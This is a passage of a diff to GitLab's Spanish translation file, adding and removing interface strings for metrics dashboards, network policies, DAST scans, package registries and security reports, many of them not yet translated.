+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr "Métricas"
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr "Consulte la documentación de CI/CD sobre la implementación en un entorno"
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr "Crear métrica"
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr "Duplicar panel"
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr "Duplicando..."
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] "Editar métrica"
@@ -15224,9 +15657,6 @@ msgstr "Expandir el panel"
msgid "Metrics|For grouping similar metrics"
msgstr "Para agrupar métricas similares"
-msgid "Metrics|Go back (Esc)"
-msgstr "Volver (Esc)"
-
msgid "Metrics|Invalid time range, please verify."
msgstr "Rango de tiempo inválido, por favor verifíquelo."
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr "Debe ser una consulta PromQL válida."
@@ -15278,6 +15711,9 @@ msgstr "La consulta PromQL es válida"
msgid "Metrics|Prometheus Query Documentation"
msgstr "Documentción sobre las consultas de Prometheus"
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr "Actualizar el panel de control"
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr "Ver registros"
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr "Etiqueta del eje Y"
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] "Hito"
msgstr[1] "Hitos"
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr "Las listas de hitos no están disponibles con tu licencia actual"
msgid "Milestone lists show all issues from the selected milestone."
msgstr "Las listas de hitos muestran todas las incidencias desde el hito seleccionado."
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr "Cerrado:"
@@ -15577,6 +16022,15 @@ msgstr "Se ha desactivado la replica."
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr "Monitorice los errores de su aplicación al integrarse con Sentry."
msgid "Monitoring"
msgstr "Monitorizar"
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr "Meses"
@@ -15811,12 +16268,45 @@ msgstr "Red"
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr "Nombre"
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr "No se han detectado políticas"
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr "Las políticas son una especificación de cómo se permite a los grupos de pods comunicarse con los extremos de red de los demás."
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr "Algo salió mal, se ha producido un error al obtener las políticas"
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr "Nunca"
@@ -16296,12 +16849,18 @@ msgstr "No hay repositorio"
msgid "No required pipeline"
msgstr "No se requiere un pipeline"
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr "No se encontraron ejecutores"
msgid "No schedules"
msgstr "No hay programaciones"
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr "No está listo todavía. Por favor, inténtalo de nuevo más tarde."
msgid "Not started"
msgstr "No iniciado"
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr "Nota"
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr "Tenga en cuenta que esta invitación se envió a %{mail_to_invite_email}, pero ha iniciado sesión como %{link_to_current_user} con el correo electrónico %{mail_to_current_user}."
@@ -16548,9 +17101,6 @@ msgstr "Noviembre"
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr "Número de archivos tocados"
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr "OK"
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr "Crear un nuevo escaneo DAST"
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr "Escaneos bajo demanda"
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr "Sólo miembros del proyecto"
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr "Sólo los proyectos activos aparecen en la búsqueda y en el panel de control."
-msgid "Only admins"
-msgstr "Sólo administradores"
-
msgid "Only admins can delete project"
msgstr "Solo los administradores pueden borrar un proyecto"
@@ -16757,6 +17313,9 @@ msgstr "Sólo los miembros de proyecto pueden comentar."
msgid "Only project members will be imported. Group members will be skipped."
msgstr "Solo se importarán los miembros del proyecto. Los miembros del grupo se omitirán."
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr "Abrir"
msgid "Open Selection"
msgstr "Abrir la selección"
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr "Errores abiertos"
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr "Peticiones salientes"
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr "Deshacer indentación"
@@ -16940,9 +17499,6 @@ msgstr "El paquete ya existe"
msgid "Package deleted successfully"
msgstr "Paquete eliminado correctamente"
-msgid "Package information"
-msgstr "Información del paquete"
-
msgid "Package recipe already exists"
msgstr "La receta del paquete ya existe"
@@ -17027,6 +17583,12 @@ msgstr "Copiar comando npm"
msgid "PackageRegistry|Copy npm setup command"
msgstr "Copiar comando de configuración de npm"
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr "Copiar comando yarn"
@@ -17042,6 +17604,9 @@ msgstr "Eliminar paquete"
msgid "PackageRegistry|Filter by name"
msgstr "Filtrar por nombre"
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr "Para más información sobre el registro de Conan, %{linkStart}vea la documentación%{linkEnd}."
@@ -17060,9 +17625,6 @@ msgstr "Si todavía no lo ha hecho, necesitará añadir lo siguiente a su archiv
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr "Si aún no lo ha hecho, debe añadir lo siguiente a su archivo %{codeStart}pom.xml%{codeEnd}."
-msgid "PackageRegistry|Installation"
-msgstr "Instalación"
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr "Comando NuGet"
msgid "PackageRegistry|Pip Command"
msgstr "Comando Pip"
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr "PyPi"
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr "Configuración del registro"
-
msgid "PackageRegistry|Remove package"
msgstr "Eliminar paquete"
@@ -17168,14 +17721,20 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
-msgstr "npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
+msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr "publicado por %{author}"
-msgid "PackageRegistry|yarn"
-msgstr "yarn"
+msgid "PackageRegistry|yarn command"
+msgstr ""
msgid "PackageType|Composer"
msgstr ""
@@ -17318,8 +17877,8 @@ msgstr "Confirmar contraseña"
msgid "Password successfully changed"
msgstr "La contraseña se ha cambiado correctamente"
-msgid "Password was successfully updated. Please login with it"
-msgstr "La contraseña se actualizó correctamente. Por favor, inicie la sesión de nuevo"
+msgid "Password was successfully updated. Please sign in again."
+msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
msgstr ""
@@ -17822,6 +18381,9 @@ msgstr "Por favor, elija una URL de grupo sin caracteres especiales."
msgid "Please complete your profile with email address"
msgstr "Por favor, complete su perfil con una dirección de correo electrónico"
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,15 +18537,15 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr "Seleccione que contenido desea ver en la página de resumen de un proyecto."
+msgid "Preferences|Choose what content you want to see on your homepage."
+msgstr ""
+
msgid "Preferences|Customize integrations with third party services."
msgstr ""
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr "Personalice la apariencia del encabezado de la aplicación y la barra de navegación lateral."
-msgid "Preferences|Default dashboard"
-msgstr "Panel de control por defecto"
-
msgid "Preferences|Display time in 24-hour format"
msgstr "Mostrar tiempo en formato 24 horas"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr "Por ejemplo: hace 30 minutos."
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr "Estado actual"
msgid "Profiles|Default notification email"
msgstr "Correo electrónico de notificación por defecto"
-msgid "Profiles|Delete Account"
-msgstr "Eliminar la cuenta"
-
msgid "Profiles|Delete account"
msgstr "Eliminar la cuenta"
-msgid "Profiles|Delete your account?"
-msgstr "¿Eliminar su cuenta?"
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr "La eliminación de su cuenta tiene los siguientes efectos:"
@@ -18683,6 +19242,9 @@ msgstr "Proyectos subidos"
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr "Se modificará el nivel de visibilidad del proyecto para hacerlo coincidir con las reglas del espacio de nombres al transferirlo a un grupo."
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr "Proyecto: %{name}"
@@ -18707,6 +19269,9 @@ msgstr "Nadie"
msgid "ProjectFileTree|Name"
msgstr "Nombre"
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr "Nunca"
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr "Operador"
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,12 +19872,21 @@ msgstr "Seleccionar consulta"
msgid "PrometheusAlerts|Threshold"
msgstr "Umbral"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
+msgstr ""
+
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr "se han encontrado %{exporters} con %{metrics}"
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
-msgstr "<p class=\"text-tertiary\">No se han encontrado<a href=\"%{docsUrl}\">métricas comunes</a> </p>"
-
msgid "PrometheusService|Active"
msgstr "Activo"
@@ -19370,6 +19944,9 @@ msgstr "Más información"
msgid "PrometheusService|New metric"
msgstr "Nueva métrica"
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr "No se han creado métricas personalizadas. Cree una utilizando el botón situado más arriba"
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr "Incidencia promocionada a tarea épica."
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr "Solicitar a los usuarios que carguen claves SSH"
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr "Proteger variable"
@@ -19835,9 +20418,6 @@ msgstr "El servicio de búsquedas recientes no está disponible"
msgid "Recent searches"
msgstr "Búsquedas recientes"
-msgid "Recipe"
-msgstr "Receta"
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr "Su primer proyecto"
msgid "Registration|Your profile"
msgstr "Su perfil"
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr "Publicar documentación"
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr "Se ha producido un error al obtener los detalles de la versión"
@@ -20067,6 +20653,9 @@ msgstr "Eliminar todos los asignados o los asignados específicos"
msgid "Remove all or specific label(s)"
msgstr "Eliminar todas las etiquetas o las etiquetas específicas"
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr "Eliminar los aprobadores"
@@ -20136,9 +20725,6 @@ msgstr "Eliminar nodo principal"
msgid "Remove priority"
msgstr "Eliminar prioridad"
-msgid "Remove project"
-msgstr "Eliminar proyecto"
-
msgid "Remove secondary node"
msgstr "Eliminar nodo secundario"
@@ -20172,9 +20758,6 @@ msgstr "Eliminado %{milestone_reference} hitos."
msgid "Removed %{type} with id %{id}"
msgstr "Eliminado %{type} con id %{id}"
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr "Eliminar todas las etiquetas."
@@ -20187,12 +20770,6 @@ msgstr "¡No se puede restaurar un grupo eliminado!"
msgid "Removed parent epic %{epic_ref}."
msgstr "Eliminada la tarea épica padre %{epic_ref}."
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr "¡No se pueden restaurar los proyectos eliminados!"
-
msgid "Removed spent time."
msgstr "Eliminar el tiempo empleado."
@@ -20241,15 +20818,9 @@ msgstr "Elimina la fecha de vencimiento."
msgid "Removes time estimate."
msgstr "Elimina el tiempo estimado."
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr "Eliminando la licencia…"
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr "Al eliminar el proyecto se eliminarán su repositorio y todos los recursos relacionados incluyendo las incidencias, merge requests, etc."
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr "Gráfico de repositorio"
msgid "Repository Settings"
msgstr "Configuración del repositorio"
-msgid "Repository URL"
-msgstr "URL del repositorio"
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr "Resolver"
msgid "Resolve all threads in new issue"
msgstr "Resolver todo los hilos en una nueva incidencia"
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr "Resolver conflictos en la rama origen"
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr "Resolver el hilo"
@@ -20804,6 +21378,9 @@ msgstr "Restaurar"
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr "Ejecutar los pipelines de CI/CD para los repositorios externos"
msgid "Run housekeeping"
msgstr "Ejecutar tareas de mantenimiento"
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr "Ejecutar las pruebas contra su código a través del terminal web"
@@ -20942,6 +21522,9 @@ msgstr "Guardar"
msgid "Save Changes"
msgstr "Guardar cambios"
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr "Guardar de todos modos"
@@ -20972,6 +21555,9 @@ msgstr "Guardar plantilla"
msgid "Save variables"
msgstr "Guardar variables"
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr "Guardando"
@@ -21020,6 +21606,9 @@ msgstr "Alcances"
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr "Desplazar hacia abajo"
@@ -21062,6 +21651,9 @@ msgstr "Buscar ramas"
msgid "Search branches and tags"
msgstr "Buscar ramas y etiquetas"
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr "Puestos en la licencia"
msgid "Secondary"
msgstr "Secundario"
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr "Secreto"
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr "Control de seguridad"
@@ -21340,8 +21962,8 @@ msgstr "%{firstProject}, %{secondProject} y %{rest}"
msgid "SecurityReports|Add a project to your dashboard"
msgstr "Añadir un proyecto al panel de control"
-msgid "SecurityReports|Add or remove projects from your dashboard"
-msgstr "Añadir o eliminar proyectos de su panel de control"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
+msgstr ""
msgid "SecurityReports|Add projects"
msgstr "Añadir proyectos"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Edit dashboard"
-msgstr "Editar panel de control"
-
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr "False positivo"
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr "Ocultar descartados"
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr "Incidencia creada"
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr "Cargar más vulnerabilidades"
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr "Monitorizar vulnerabilidades en su código"
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr "Más información"
@@ -21439,15 +22055,15 @@ msgstr "Oops, algo parece que no está correcto."
